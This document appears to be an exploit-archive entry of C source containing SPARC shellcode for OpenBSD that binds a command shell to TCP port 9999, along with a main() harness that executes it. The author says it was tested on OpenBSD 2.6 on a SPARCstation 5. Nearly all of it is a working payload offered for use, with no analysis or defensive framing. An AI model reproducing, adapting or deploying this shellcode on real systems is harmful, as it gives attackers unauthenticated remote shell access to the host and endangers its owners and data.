Shellcode for OpenBSD under Sparc which binds a shell to tcp port 9999. Tested on OpenBSD 2.6(Sun4m) on a Sparc-station 5.
b0b0be40c62d1e42e3a74567f2fc01b6a6d96ef13ad6a18d5267707d9055fda8
/*
* bind shellcode, will bind on port : 9999/tcp.
* Os : OpenBSD, Architecture : Sparc.
*
* tested under : OpenBSD 2.6(Sun4m) Sparc-station 5.
*
* Copyright 2002 killah@hack.gr
*
*/
long sparc_bind[]=
{
0x9de3bf78,0x90102002,0x92102001,0x94102000,0x82102061,0x91d02000,0xd027bff4,
0x90102002,0xd02fbfd9,0x13000009,0x9012630f,0xd037bfda,0xc027bfdc,0x9207bfd8,
0xd007bff4,0x94102010,0x82102068,0x91d02000,0xd007bff4,0x92102005,0x8210206a,
0x91d02000,0x9207bfd8,0x9407bfec,0xd007bff4,0x8210201e,0x91d02000,0xd027bff0,
0xd007bff0,0x92102000,0x8210205a,0x91d02000,0xd007bff0,0x92102001,0x8210205a,
0x91d02000,0xd007bff0,0x92102002,0x8210205a,0x91d02000,0x2d0bd89a,0xac15a16e,
0x2f0bdcda,0x900b800e,0x9203a008,0x9422800a,0x9c03a010,0xec3bbff0,0xd023bff8,
0xc023bffc,0x8210203b,0x91d02000
};
int
main(void)
{
void (*f) (void);
f=(void *) sparc_bind;
// printf("shellcode len: %d\n", strlen(sparc_bind));
f();
}
/*EOF*/